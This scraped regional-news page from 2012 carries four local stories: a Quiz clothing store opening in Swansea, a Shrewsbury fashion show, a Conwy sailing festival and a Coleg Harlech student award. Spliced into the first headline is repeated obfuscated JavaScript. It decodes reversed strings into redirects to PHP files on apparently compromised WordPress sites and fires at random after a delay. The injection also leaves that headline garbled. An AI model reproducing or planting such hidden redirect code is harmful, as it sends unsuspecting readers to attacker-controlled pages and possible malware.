Category: News

Quiz store answers fashion questions

Quiz S$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tore, Quadrant 110812

A fast-growing international fashion retail group has moved into Swansea.

The women’s fashion group Quiz, which has 160 outlets world-wide, has opened its second store in Wales at the city’s bustling Quadrant shopping centre.

Seven news jobs have been be created – and there could be more on the way.

Cardiff-born new manager Helen Russell leads the new team, bringing with her a lifetime of retail experience.

From her £1.50 “for a whole day” managing a fruit and veg’ stall at Cardiff’s covered market when she was 16, Helen’s last job was managing a flagship department store in Bangor Northern Ireland which had an annual turn-over of between £9m-£10m and employed around 200 staff.

“Quiz is a large company with stores throughout the UK and its head office is based in Scotland where the business started. It has many stores abroad too. Until now it had just the one store in Wales, in St David’s Cardiff, which opened about two years ago.

“It is a family-owned business which has expanded rapidly, especially through concessions in stores such as Debenhams. The aim of the company is to offer catwalk fashion very much at high street prices,” said Helen.

Helen’s career in retail involved many moves. She joined the training scheme at Littlewoods and became a store manager but then moved to her parents home country, Northern Ireland, where she joined a family owned department store, Menarys (corr), managing their flagship store in Bangor.

Helen, 53, also decided to try a couple of years living the good life in Spain. She and husband Robert have five children between them and decided when they had flown the nest they would find their place in the sun.

“I thought I would retire early and try the easy life and put my feet up for a while. The inactivity was too much. After going from the demands of the retail sector it was a case of all or nothing and I decided I was too young to retire.”

During a visit to her brother in Bridgend, Helen thought she would like to be back in the UK and Bridgend is where she and Robert have set up home.

Quiz area manager Sharifa Patel has been with the company 11 years and witnessed its incredible expansion.

Founded in 1995 with three stores in Scotland, its business model proved extremely successful and more stores opened year on year.

Quiz has now grown to include 115 stores and concessions in most of the major shopping centres and high streets across the UK. With 51 franchises in Europe and Asia the Quiz brand has also grown worldwide.

The company employs more than 700 members of staff in the UK alone. The very comprehensive online store was launched in 2005.

Sharifa said; “The company is highly competitive and offers very good value for money, with customer service very important.

“We have a very strong casual section, ‘clubby’ dresses for the girlie nights out and then we have glamorous evening wear with maxi dresses. We provide dresses for cruises, Christenings, we have something which would appeal to all ages from 14-60 year olds.

“After the great success of the Cardiff store, which is a very strong performer, I have high hopes for Swansea, it’s definitely the type of store Swansea wants.”

Ian Kirkpatrick, the Manager of the Quadrant shopping centre, was delighted by the arrival of Quiz.

He said: “Quiz is a successful, fast-growing fashion brand and their new store is a welcome addition to the excellent retail mix we  have at the Quadrant.”

For more information on Quiz please visit  http://www.quizclothing.co.uk/

Tuesday September 11th, 2012

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Fashion show delights shoppers

SHREWSBURY FASHION ON THE MOVE AT PRIDEHILL SHOPPING CENTRE. Pictured are models Vanessa Ball, Natalie Hulme and Donna Raschke.

Glitz and glamour came to Shrewsbury’s bustling Darwin and Pride Hill Shopping Centres on Saturday with a series of live fashion shows.

The two centres played host to Fashion On The Move with a team of models from the Catwalk Agency, headed by stylist and presenter Alex Bell, staging five shows throughout the day.

On the busy Shrerwsbury Street Theatre weekend it brought crowds flocking into the centres to be entertained by the models parading the latest High Street fashions from the centres’ retailers.

Carolyn Codd, assistant manager at Monsoon in the Darwin Centre, was delighted to have been involved in the event and said: “I didn’t see much of it because we were so busy but what I saw was really good.

“The way they had the models walking round the centres rather than just being in one piece was brilliant – the clothes looked really good and I heard our name mentioned.

“We were busy and we’re very pleased with the way they’re really trying to drive footfall and make a difference.

“It was very well planned with it taking place on this particular weekend and we’re always up for events like this and happy to help out and for our point of view this definitely stepped it up.”

The series of shows kicked off at Next in the Pride Hill Shopping Centre and supervisor Becky Morris said: “The town was very full and there were lots of people in.

“Everyone seemed to enjoy it and I think it worked very well.”

Kevin Lockwood, Manager iof the Darwin, Pride Hill and Riverside Shopping Centres, said: “It seemed to go very, very well and was a very well planned event.

“The Shopping Centres were very busy and we’ll know by the end of the week what difference it has made to footfall but the reaction from the shops has been very positive and there seemed to be plenty of smiling faces here on Saturday.”

Tuesday September 11th, 2012

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River festival inspires Jake

Cartrefi Conwy residents families take part in the Conwy Regatta. The Penny Diamon with Jake Sinclair and crew John Broadhead and Mike Harrison.

An adventurous teenager has spoken of how he has developed an abiding love of the sea after tasting life on the ocean waves.

Cartrefi Conwy tenant, 16-year-old Jake Sinclair, from Conwy, was invited to crew one of the racing yachts in last year’s Conwy River Festival.

The opportunity was made possible by  the housing association and the organisers of the festival.

The boat he was aboard, the Ruby, skippered by festival organiser Tony Mead, won its class and the whole experience gave Jake a taste for the sea – so much that he is now aiming for a career in the Royal Navy, starting with a marine engineering course at Coleg Llandrillo in Rhos-on-Sea next month.

Jake spoke of how he has become hooked on all things nautical as he attended the prize-giving ceremony for this year’s Conwy River Festival, in which Cartrefi Conwy once again sponsored a race regatta, at Conway Yacht Club in Deganwy last Saturday evening.

Another strong contingent of Cartrefi Conwy tenants and staff took part and walked away with an armful of silverware for a second year.

While his yacht from last year, the Ruby, again swept to a class win in the four days of racing out of Conwy Harbour from August 19-22, the boat he was helping to crew this time, the Penny Diamond skippered by John Broadbent, was not in the honours.

But the experience only re-charged the enthusiasm of Jake who said:  “I had another fantastic time because I love to be out on the sea – I just can’t get enough of it.

“Before I went out on the Ruby last year I had no idea of what I wanted to do for a job.  I thought I might try to become a motor mechanic.

“But as soon as I got out on the water I knew right away that is the only thing I wanted to do with my life.

“The things I love most about the sea are the feeling of the wind in your hair, the smell of the salt-air and the freedom.”

He added:  “My ambition now is to join the Royal Navy and possibly train as a communications or an engineering officer.

“I’m starting off by doing the marine engineering course at Coleg Llandrillo and then I’ll just take it from there.

“My love of the sea started with crewing on the Ruby last year and I am very grateful to Cartrefi Conwy for giving me the chance to do that.

“Tony Mead has asked me to crew for him again on the Ruby in next year’s festival and I’ve told him I just can’t wait.”

Cartrefi Conwy had eight of its young tenants plus a handful of staff taking part in the festival and also sponsored a crew from its partner organisation, Crest Cooperative Ltd.

The sailing tenants were Aiden Faulds, 14, Thomas O’Brien, 14, his brother John O’Brien, 15, Leah Davies, 13, Kira-Sue Littleford, 13, Charlie Jones, 13, and Ian Williams, 17.

They crewed aboard six boats – the Ruby, the Odyssey, the Viva, the Penny Diamond, the Altea and the Alfa III.

When it came to the prize-giving ceremony, the Mayor of Conwy, Cllr Cedric Rigal, presented the Altea, on which all of the young tenants were given a taste of sailing by skipper Frank Ratcliffe, of North Wales Power and Sail, with the Dickies of Bangor Trophy for being Best Westerly Yacht of the festival.

It was celebrated by tenant Ian Williams and Lee Connell of Crest Cooperative Ltd who had both crewed on the Altea.

The Ruby captured the Conwy River Festival Cup for winning the Trojan Class. It was collected by Tony Mead.

Young crew member John O’Brien was given the honour of picking up the trophy for the best overall yacht of the festival, which was also won by the Ruby.

His brother Tom O’Brien proudly received the Cartrefi Conwy Trophy on behalf of the Odyssey from chief executive Andrew Bowden for having the best in spirit of the tenant crews competing in the Trojan Class.

Every one of the Cartrefi Conwy tenants also received a handsome glass trophy to commemorate their participation.

Andrew Bowden, chief executive of Cartrefi Conwy, said:  “We sponsored the river festival for the first time last year and it’s going from strength to strength.

“Young people are given the opportunity to go out sailing and they really enjoy themselves.

“As a housing association based on the coast The Conwy River Festival  has given us the opportunity to encourage our tenants, staff and partners to become involved in seaborne pursuits.

“What we are able to do for them shows that sailing is not just a rich person’s sport but is something everyone can take part in and enjoy.

“It fosters feelings of self-confidence, self-worth and also helps with team building.”

Rod Williams, operations manager of Crest Cooperative Ltd based in Llandudno Junction, was aboard the Altea with two volunteers Lee Connell and Callum Williams.

He said: “Getting involved in the Conwy River Festival with the help of Cartrefi Conwy is a fantastic, life-changing experience for young people such as ours from socially excluded backgrounds.

“Being out there on the water can be difficult and sometimes dangerous but it is also an extremely enjoyable experience.

“It has also been very good for me because I am now thinking of taking the yachting a bit further myself.”

River festival organiser Tony Mead said:  “This year was another memorable event.

“We had excellent sailing weather and lots of community involvement.

“The young people from Cartrefi Conwy did very well on the boats and I know it was a wonderful experience for them.”

Tuesday September 11th, 2012

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Aiden wins top prize as he grabs a second chance at education

Coleg Harlech Awards Ceremony. Student Aiden Bark-Connell

A mature student who left formal education at the age of 10 and had no qualifications is heading for university with the aim of becoming a teacher.

The remarkable transformation in Aiden Bank-Connell’s life was achieved with the help of Coleg Harlech, the college that specialises in giving people a second chance at education.

Aiden’s spectacular success was underlined by a powerful and thoughtful essay that was of such high quality that it won him a top award.

Aiden, 32,from Bethesda, has just completed the one-year residential social science course at Coleg Harlech.

At the college’s annual awards day ceremony, he was presented with  the coveted Thomas Jones Award for being the best student in his group.

The essay which prompted the glittering prize was on the theme The Value of Life, which received an almost unprecedented mark of 85 per cent.

Aiden’s proud tutors say this is exceptionally high and has rarely been achieved on the course.

The essay dealt with the emotive yet currently hotly  topical issue of euthanasia – the intentional killing by act or omission of a dependent human being for his or her alleged benefit.

Aiden, who is originally from Liverpool and has lived in North Wales for the past 16 years, said: “I left school at the age of 10 to be educated at home by my parents, therefore I never got any qualifications.

“I didn’t have a very easy adolescence and moved from job to job when it was time for me to start work, such as spending some time on the staff of a holiday camp.

“I was actually unemployed for a lot of the time, so when I was offered a place on the social sciences course at Coleg Harlech I saw it as a great opportunity for me to prepare for a proper career, hopefully in teaching.”

He added: “I now have a place at Edinburgh University to study for an MA in philosophy and that will equip me for the future.

“I lean towards teaching as a career, or possibly something in the civil service – I don’t quite know what it will be yet.

“What I do know is that Coleg Harlech is a lovely learning environment.

“The tutors on the social sciences course have been excellent and have helped me to hone up on the skills I already have.

“They certainly put the pressure on during the course but it was never going to be a walk in the park.

“I’d say the past year has been a very worthwhile experience for me.

“I can certainly recommend it to other people, especially those who want to move forward from the situation they are currently in.

“The essay I wrote for my course project was based on a discussion around the value of life.

“My conclusion was that while the value of life is important an over-reliance on it as a statement of fact stops people leading the life they want.”

Aiden’s tutor on the social sciences course, Sian Court, said: “He has consistently provided some high quality work demonstrating a skill in writing analytically.

“His essay for the module on medical ethics was of a particularly high standard and demonstrated a high level of knowledge and an ability to apply comprehension of theory, analyse and evaluate research.

“His work received a mark of 85 per cent, which for an essay is exceptionally high and is rarely achieved.

“In fact, in my four or five years of teaching at Coleg Harlech I have only given one such mark before, about two years ago.

“Aiden is now going to university where we have faith he will continue to provide work of a high quality.”

Coleg Harlech Principal Trefor Fȏn Owen was delighted the college had been able to help Aiden achieve his educational ambitions.

He said: “Aiden’s fantastic success is a shining example of what can be achieved and we wish him all the very  best for the future.”

Coleg Harlech WEA are currently accepting applications for September. For more information go to the website www.harlech.ac.uk or ring Coleg Harlech on 01766 781900.

Tuesday September 11th, 2012

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